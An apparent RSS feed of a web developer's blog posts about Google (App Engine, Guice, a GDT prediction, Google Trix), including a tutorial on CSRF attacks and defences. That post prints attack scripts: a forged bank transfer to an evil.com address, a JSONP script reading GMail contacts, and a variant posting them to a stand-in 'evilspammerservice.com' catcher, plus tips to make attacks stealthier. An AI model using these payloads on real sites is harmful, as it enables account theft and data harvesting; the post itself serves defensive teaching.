<?xml version="1.0"?>
<rss version="2.0">
<channel>
  <title>Joe Walker - google tag</title>
  <link>http://directwebremoting.org/blog/joe/tags/google/</link>
  <description>Thoughts on Web Development</description>
  <language>en</language>
  <copyright>Joe Walker</copyright>
  <lastBuildDate>Wed, 23 Jul 2008 11:00:41 GMT</lastBuildDate>
  <generator>Pebble (http://pebble.sourceforge.net)</generator>
  <docs>http://backend.userland.com/rss</docs>
  
  
  <item>
    <title>App Engine and Java</title>
    <link>http://directwebremoting.org/blog/joe/2008/04/09/app_engine_and_java.html</link>
    
      
        <description>
          &lt;p&gt;The world is now split into Python programmers, making funny &#039;Goo&#039; noises over &lt;a href=&#034;http://code.google.com/appengine/&#034;&gt;App Engine&lt;/a&gt;, and everyone else who are wondering when/if this will be available in their language or if they are going to have to change their spots.&lt;/p&gt;

&lt;p&gt;Of all the languages to support, I guess Java must be one of the hardest because of the heavyweight runtime and the difficulty in separating code. But it also makes sense because supporting Java might give you quick access to Ruby/JavaScript/etc.&lt;/p&gt;

&lt;p&gt;I have no knowledge of if Google are going to support Java in App Engine, however there are some tea-leaves that can be stretched and rearranged to form a vague picture.&lt;/p&gt;

&lt;p&gt;Some time ago Google &lt;a href=&#034;http://www.infoq.com/news/jsr-284-early-draft&#034;&gt;hired Greg Czajkowski&lt;/a&gt; the lead of &lt;a href=&#034;http://research.sun.com/projects/barcelona/index.html&#034;&gt;Project Barcelona&lt;/a&gt; from Sun. Project Barcelona was where &lt;a href=&#034;http://bitser.net/isolate-interest/&#034;&gt;Isolates&lt;/a&gt; (&lt;a href=&#034;http://jcp.org/en/jsr/detail?id=121&#034;&gt;JSR-121&lt;/a&gt;) came from and the Resource Consumption API (&lt;a href=&#034;http://jcp.org/en/jsr/detail?id=284&#034;&gt;JSR 284&lt;/a&gt;), both of which would help you do this sort of thing. And both of which are now in Final Draft stage.&lt;/p&gt;

&lt;p&gt;I have no idea if this does mean that Google are working on App Engine for Java, but if they do I&#039;m going to claim bragging rights for having &lt;a href=&#034;http://getahead.org/blog/joe/2006/08/31/google_hosting_java_webapps_for_customers.html&#034;&gt;blogged about this 18 months ago&lt;/a&gt;.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2008/04/09/app_engine_and_java.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2008/04/09/app_engine_and_java.html</guid>
    <pubDate>Wed, 09 Apr 2008 19:49:56 GMT</pubDate>
  </item>
  
  <item>
    <title>Google&#039;s next Open Source project</title>
    <link>http://directwebremoting.org/blog/joe/2007/05/11/googles_next_open_source_project.html</link>
    
      
        <description>
          &lt;p&gt;A prediction: In a few months time Google will release a project called &#039;GDT&#039;. GDT is somewhat similar to GWT except that rather than compile Java to HTML+JavaScript, it will compile to Swing. So rather than being Google Web Toolkit, it will be Google Desktop Toolkit. You&#039;ll then be able to take the same source, and get out of it either a desktop app, or a web app.&lt;/p&gt;

&lt;p&gt;While we&#039;re on the subject, the same idea in reverse: I wonder if anyone at Google is working on having JavaFX compiled using the GWT compiler?&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/05/11/googles_next_open_source_project.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/05/11/googles_next_open_source_project.html</guid>
    <pubDate>Fri, 11 May 2007 13:09:58 GMT</pubDate>
  </item>
  
  <item>
    <title>A Spring competitor from Google</title>
    <link>http://directwebremoting.org/blog/joe/2007/03/09/a_spring_competitor_from_google.html</link>
    
      
        <description>
          &lt;p&gt;I notice that &lt;a href=&#034;http://crazybob.org/&#034;&gt;Bob Lee&lt;/a&gt;, the same Bob Lee that famously &#034;&lt;a href=&#034;http://crazybob.org/2006/01/i-dont-get-spring.html&#034;&gt;doesn&#039;t get Spring&lt;/a&gt;&#034;, has created a competitor to Spring &lt;em&gt;IoC&lt;/em&gt; called &lt;a href=&#034;http://code.google.com/p/google-guice/&#034;&gt;Guice&lt;/a&gt; (pronounced Juice).&lt;/p&gt;

&lt;p&gt;He says:&lt;/p&gt;

&lt;p class=&#034;quote&#034;&gt;We&#039;re pleased to announce the open source release of Google&#039;s internal Java dependency injection framework Guice. Guice wholly embraces annotations and generics, thereby enabling you to wire together and test objects with less effort than ever before. Annotations finally free you from error-prone, refactoring-adverse string identifiers.&lt;/p&gt;

&lt;p&gt;Links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#034;http://code.google.com/p/google-guice/&#034;&gt;Guice homepage&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&#034;http://docs.google.com/Doc?id=dd2fhx4z_5df5hw8&#034;&gt;User&#039;s guide&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&#034;http://google-guice.googlecode.com/svn/trunk/javadoc/index.html&#034;&gt;Javadocs&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&#034;http://code.google.com/p/google-guice/downloads/list&#034;&gt;Download&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&#034;http://groups.google.com/group/google-guice&#034;&gt;Mailing list&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt; Both &lt;a href=&#034;http://www.almaer.com/blog/archives/001415.html&#034;&gt;Dion&lt;/a&gt; and Klaus (below) pointed out that I meant Spring IoC and not just Spring, which is a fair point.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/03/09/a_spring_competitor_from_google.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/03/09/a_spring_competitor_from_google.html</guid>
    <pubDate>Fri, 09 Mar 2007 15:29:54 GMT</pubDate>
  </item>
  
  <item>
    <title>CSRF Attacks or How to avoid exposing your GMail contacts</title>
    <link>http://directwebremoting.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html</link>
    
      
        <description>
          &lt;p&gt;GMail is having a hard time at the moment, the latest problem is &lt;a href=&#034;http://digg.com/programming/GMail_Hacked_Visit_ANY_Website_and_Your_Whole_Contact_List_Can_be_Stolen&#034;&gt;a CSRF flaw&lt;/a&gt; that allows anyone to read your GMail contacts.&lt;/p&gt;

&lt;p&gt;CSRF is commonly mistaken for Cross-Site Scripting (XSS); &lt;a href=&#034;http://cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/&#034;&gt;the article linked to by Digg&lt;/a&gt; makes this mistake, but the 2 attacks are not the same.&lt;/p&gt;

&lt;p&gt;CSRF is a relatively unknown type of attack on a website, because it can be tricky to pull off. But this obscurity means that far more sites are vulnerable. In addition CSRF has all the potential of XSS so it is a powerful foe.&lt;/p&gt;

&lt;p&gt;Aside: Sometimes you&#039;ll see references to this as XSRF, (I guess in deference to XSS). I&#039;m using CSRF for 2 reasons. First, is that Wikipedia re-directs &lt;a href=&#034;http://en.wikipedia.org/wiki/XSRF&#034;&gt;XSRF&lt;/a&gt; to &lt;a href=&#034;http://en.wikipedia.org/wiki/Cross-site_request_forgery&#034;&gt;CSRF&lt;/a&gt;, and second that&#039;s what Google says people are using. Compare the count on &lt;a href=&#034;http://www.google.com/search?q=csrf+-civil+-construction+-cushing+-catholic+-canadian&#034;&gt;this search for CSRF&lt;/a&gt; (about 900k) with &lt;a href=&#034;http://www.google.com/search?q=xsrf&#034;&gt;this search on XSRF&lt;/a&gt; (under 30k).&lt;/p&gt;

&lt;h2&gt;How it works&lt;/h2&gt;

&lt;p&gt;Normally an attacker is prevented from forging Cookies using Javascript by the domain rules in a browser. CSRF allows you to evade these rules. This is an example; it could be an HTML email or a web page.&lt;/p&gt;

&lt;pre&gt;
&amp;lt;html&amp;gt;
I&#039;ve noticed that your bank has done some cool updates,
why don&#039;t you login and checkout the funky new features.

&amp;lt;script&amp;gt;
var url = &amp;#39;/transferMoney?amount=1000&amp;amp;dest=eve@evil.com&amp;#39;;
setTimeout(30000, &amp;quot;window.open(url)&amp;quot;);
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;

&lt;p&gt;The example above will obviously need customizing for your bank, but it does demonstrate the core of the problem. Eve asked Alice to log into her bank, and used a simple script to wait while she did that and then script a money transfer by opening a new window, since Alice has logged on, the thief gets to steal money from Alice&#039;s account.&lt;/p&gt;

&lt;p&gt;There is a problem with the above code: the new window will probably alert Alice to what is going on. It may well be too late by then, but Eve would like longer to cover her tracks. One option is to use XMLHttpRequest to asynchronously fetch the response without displaying it.&lt;/p&gt;

&lt;h2&gt;Enhancing the Attack&lt;/h2&gt;

&lt;p&gt;There are a number of tricks you can use to make the attack more pernicious:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Use XHR, IFrame or Script tags to try the request asynchronously&lt;/li&gt;
  &lt;li&gt;Include some logic to try every few seconds waiting for Alice to login&lt;/li&gt;
  &lt;li&gt;Script a sequence of requests to mimic the user following a wizard&lt;/li&gt;
  &lt;li&gt;Send the page in an HTML email to target known bank users: Phishing without needing to setup a fake site.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;According to the Cookie spec, using XHR, IFrame and Script Tags should not work. Cookies should only be sent to the owning-domain, and then only when the parent window is in the same domain. However it&amp;#39;s more likely that the cookie spec will be re-written than that browsers will change because a fully conforming browser would break the many systems that make use of this; like most JavaScript widgets and many advertising systems.&lt;/p&gt;

&lt;h2&gt;Anatomy of the GMail Attack&lt;/h2&gt;

&lt;p&gt;It&#039;s fixed now, but before the fix, if you are logged onto GMail then &lt;a href=&#034;http://googlified.com.googlepages.com/contactlist.htm&#034;&gt;visiting this page&lt;/a&gt; will show you all your GMail contacts. How does it work?&lt;/p&gt;

&lt;p&gt;The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn&#039;t a huge problem.&lt;/p&gt;

&lt;p&gt;There is a Google URL that returns some script containing your contacts:&lt;/p&gt;

&lt;pre&gt;&lt;a href=&#034;http://docs.google.com/data/contacts?out=js&amp;amp;show=ALL&amp;amp;psort=Affinity&amp;amp;callback=google&amp;amp;max=99999&#034;&gt;http://docs.google.com/data/contacts?out=js&amp;amp;show=ALL&amp;amp;psort=Affinity&amp;amp;callback=google&amp;amp;max=99999&lt;/a&gt;&lt;/pre&gt;

&lt;p&gt;The page used to look something like this:&lt;/p&gt;

&lt;pre&gt;
google ({
  Success: true,
  Errors: [],
  Body: {
    AuthToken: {
      Value: &amp;#39;********&amp;#39;
    },
    Contacts: [
      {
        Id: &amp;#39;***&amp;#39;,
        Email: &amp;#39;users at dwr.dev.java.net&amp;#39;,
        Affinity: ***,
        Groups: [
          {
            id: &amp;#39;^Freq&amp;#39;,
            value: &amp;#39;users at dwr.dev.java.net&amp;#39;
          }
        ],
        Addressess: [],
        Phoness: [],
        Imss: []
      },
    // Lots more contacts here
    ]
  }
})
&lt;/pre&gt;

&lt;p&gt;So we&#039;re calling a function &amp;quot;&lt;code&gt;google()&lt;/code&gt;&amp;quot; and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:&lt;/p&gt;

&lt;pre&gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
function google(data){
    var emails, i;
    for (i = 0; i &amp;lt; data.Body.Contacts.length; i++) {
        mails += &amp;quot;&amp;lt;li&amp;gt;&amp;quot; + data.Body.Contacts[i].Email + &amp;quot;&amp;lt;/li&amp;gt;&amp;quot;;
    }
    document.write(&amp;quot;&amp;lt;ol&amp;gt;&amp;quot; + emails + &amp;quot;&amp;lt;/ol&amp;gt;&amp;quot;);
}
&amp;lt;/script&amp;gt;

&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://docs.google.com/data/contacts?out=js&amp;amp;show=ALL&amp;amp;psort=Affinity&amp;amp;callback=google&amp;amp;max=99999&amp;quot;&amp;gt;
&amp;lt;/script&amp;gt;
&lt;/pre&gt;

&lt;p&gt;But it would be just as easy to post the list of addresses off to some spam address catcher service:&lt;/p&gt;

&lt;pre&gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
function google(data){
    var body, i;
    for (i = 0; i &amp;lt; data.Body.Contacts.length; i++) {
        body += data.Body.Contacts[i].Email + &amp;quot;\n&amp;quot;;
    }
    var xhr = new ActiveXObject(&#034;Microsoft.XMLHTTP&#034;);
    xhr.open(&#034;POST&#034;, &#034;http://evilspammerservice.com/catcher&#034;);
    xhr.send(body);
}
&amp;lt;/script&amp;gt;
&lt;/pre&gt;

&lt;p&gt;In the short term you can protect yourself by logging out when you have read your email.&lt;/p&gt;

&lt;p&gt;Lots of discussion of this on &lt;a href=&#034;http://www.megite.com/technology/1167706142/1#item_2&#034;&gt;Megite&lt;/a&gt;, &lt;a href=&#034;http://www.techmeme.com/070101/p7#a070101p7&#034;&gt;Techmeme&lt;/a&gt;, &lt;a href=&#034;&#034;&gt;Ajaxian&lt;/a&gt;, &lt;a href=&#034;http://www.engadget.com/2007/01/01/gmail-bug-exposes-your-mail-account-to-spammers/&#034;&gt;Engadget&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Update&lt;/b&gt;: I see that a similar issue &lt;a href=&#034;http://4diggers.blogspot.com/2006/06/how-to-defeat-digg.html&#034;&gt;has affected Digg.com&lt;/a&gt; too. Also there were notes on how the fix went here that were variously confusing and wrong, I&#039;ve removed them.&lt;/p&gt;

&lt;h2&gt;How to Protect Your Server&lt;/h2&gt;

&lt;p&gt;There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.&lt;/p&gt;

&lt;p&gt;Things that wont protect you:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.&lt;/li&gt;
  &lt;li&gt;Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).&lt;/li&gt;
  &lt;li&gt;JSON: Removing the function call in the GMail example would protect read-only resources since browsers will act on cross-domain rules to keep the reply from you. If the server request changes any server side state then even though the browser can&#039;t read the reply, it can still cause the state to change.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Secret Hidden Fields&lt;/h3&gt;

&lt;p&gt;If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).&lt;/p&gt;

&lt;p&gt;This technique is good for the &amp;quot;Web 1.0&amp;quot; situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.&lt;/p&gt;

&lt;h3&gt;Double Submit the Cookie&lt;/h3&gt;

&lt;p&gt;The CSRF attack works by subverting what the browser will do with the cookie.&amp;nbsp; Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).&lt;/p&gt;

&lt;p&gt;If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.&lt;/p&gt;

&lt;h2&gt;Use a Library&lt;/h2&gt;

&lt;a href=&#034;http://getahead.ltd.uk/dwr/&#034;&gt;&lt;img src=&#034;http://getahead.ltd.uk/images/dwr-logo.png&#034; align=&#034;right&#034; style=&#034;margin:0px 10px&#034; border=&#034;0&#034;/&gt;&lt;/a&gt;

&lt;p&gt;Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html</guid>
    <pubDate>Mon, 01 Jan 2007 19:12:40 GMT</pubDate>
  </item>
  
  <item>
    <title>Google Trix</title>
    <link>http://directwebremoting.org/blog/joe/2006/12/03/google_trix.html</link>
    
      
        <description>
          &lt;p&gt;Google Trix appears to be a service that Google have not announced much yet. The RSS feed for a Google Writely document includes the following image:&lt;/p&gt;

&lt;img src=&#034;http://getahead.ltd.uk/images/docs_logo_main.gif&#034;/&gt;

&lt;p&gt;Unless they change it, you can catch it for yourself at &lt;a href=&#034;http://docs.google.com/images/docs_logo_main.gif&#034;&gt;http://docs.google.com/images/docs_logo_main.gif&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;Any ideas anyone?&lt;/p&gt;

        </description>
      
      
    
    
    
    <comments>http://directwebremoting.org/blog/joe/2006/12/03/google_trix.html#comments</comments>
    <guid isPermaLink="true">http://directwebremoting.org/blog/joe/2006/12/03/google_trix.html</guid>
    <pubDate>Sun, 03 Dec 2006 14:29:36 GMT</pubDate>
  </item>
  
  </channel>
</rss>
